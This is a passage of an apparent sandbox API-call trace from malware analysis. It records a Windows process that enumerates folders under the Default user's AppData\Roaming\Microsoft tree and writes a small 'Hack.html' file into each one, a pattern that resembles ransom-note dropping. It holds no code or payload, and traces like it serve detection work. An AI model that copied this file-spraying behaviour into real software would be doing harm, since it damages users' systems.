lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0091.237] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5d [0091.237] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpFilePart=0x0) returned 0x5e [0091.237] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a628 [0091.238] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.238] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.238] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.238] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.239] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.239] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0091.239] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.239] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5d [0091.239] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpFilePart=0x0) returned 0x5e [0091.239] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a628 [0091.240] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.240] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.240] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.240] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.241] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.241] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0091.241] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.241] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Hack.html", lpFilePart=0x0) returned 0x67 [0091.241] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.242] GetFileType (hFile=0x174) returned 0x1 [0091.243] GetFileType (hFile=0x174) returned 0x1 [0091.243] WriteFile (in: hFile=0x174, lpBuffer=0x27c8180*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x27c8180*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0091.244] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\Hack.html", lpFilePart=0x0) returned 0x5f [0091.244] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.244] GetFileType (hFile=0x174) returned 0x1 [0091.244] GetFileType (hFile=0x174) returned 0x1 [0091.244] WriteFile (in: hFile=0x174, lpBuffer=0x27caa00*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x27caa00*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0091.245] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Hack.html", lpFilePart=0x0) returned 0x53 [0091.245] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.245] GetFileType (hFile=0x174) returned 0x1 [0091.245] GetFileType (hFile=0x174) returned 0x1 [0091.246] WriteFile (in: hFile=0x174, lpBuffer=0x27cd250*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x27cd250*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.246] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Hack.html", lpFilePart=0x0) returned 0x46 [0091.246] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.247] GetFileType (hFile=0x174) returned 0x1 [0091.247] GetFileType (hFile=0x174) returned 0x1 [0091.247] WriteFile (in: hFile=0x174, lpBuffer=0x27cfa70*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x27cfa70*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0091.249] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x32 [0091.249] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\", lpFilePart=0x0) returned 0x33 [0091.249] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.249] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.249] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.250] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.250] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.250] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.250] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x32 [0091.250] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\", lpFilePart=0x0) returned 0x33 [0091.250] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.250] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.250] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.250] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.251] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.251] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.251] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x60 [0091.251] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", lpFilePart=0x0) returned 0x61 [0091.251] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.254] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.254] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.254] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.254] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.254] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.255] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x60 [0091.255] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", lpFilePart=0x0) returned 0x61 [0091.255] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.255] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.255] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.256] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.256] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.256] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.256] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Hack.html", lpFilePart=0x0) returned 0x6a [0091.257] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.258] GetFileType (hFile=0x174) returned 0x1 [0091.258] GetFileType (hFile=0x174) returned 0x1 [0091.258] WriteFile (in: hFile=0x174, lpBuffer=0x27d67cc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x27d67cc*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.259] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\Hack.html", lpFilePart=0x0) returned 0x3c [0091.259] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.259] GetFileType (hFile=0x174) returned 0x1 [0091.259] GetFileType (hFile=0x174) returned 0x1 [0091.259] WriteFile (in: hFile=0x174, lpBuffer=0x27d8fc4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x27d8fc4*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0091.260] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3d [0091.260] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpFilePart=0x0) returned 0x3e [0091.260] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.261] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.261] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.261] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.261] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.261] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3d [0091.261] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpFilePart=0x0) returned 0x3e [0091.261] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.261] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.261] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.261] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.261] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.262] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x40 [0091.262] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpFilePart=0x0) returned 0x41 [0091.262] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.262] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.262] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.262] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.262] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.262] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.262] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.262] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x40 [0091.263] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpFilePart=0x0) returned 0x41 [0091.263] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.263] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.263] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.263] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.263] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.263] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.263] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.263] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4d [0091.264] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.264] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.264] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.264] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.264] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.265] GetFileType (hFile=0x174) returned 0x1 [0091.265] GetFileType (hFile=0x174) returned 0x1 [0091.265] WriteFile (in: hFile=0x174, lpBuffer=0x27e0c54*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x27e0c54*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0091.266] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.266] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.266] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.266] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.266] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.266] GetFileType (hFile=0x174) returned 0x1 [0091.266] GetFileType (hFile=0x174) returned 0x1 [0091.267] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.268] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.268] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.268] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.268] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.268] GetFileType (hFile=0x174) returned 0x1 [0091.268] GetFileType (hFile=0x174) returned 0x1 [0091.269] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.269] GetFileType (hFile=0x174) returned 0x1 [0091.269] GetFileType (hFile=0x174) returned 0x1 [0091.270] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.271] GetFileType (hFile=0x174) returned 0x1 [0091.271] GetFileType (hFile=0x174) returned 0x1 [0091.271] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.272] GetFileType (hFile=0x174) returned 0x1 [0091.272] GetFileType (hFile=0x174) returned 0x1 [0091.273] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.273] GetFileType (hFile=0x174) returned 0x1 [0091.273] GetFileType (hFile=0x174) returned 0x1 [0091.274] CreateFileW 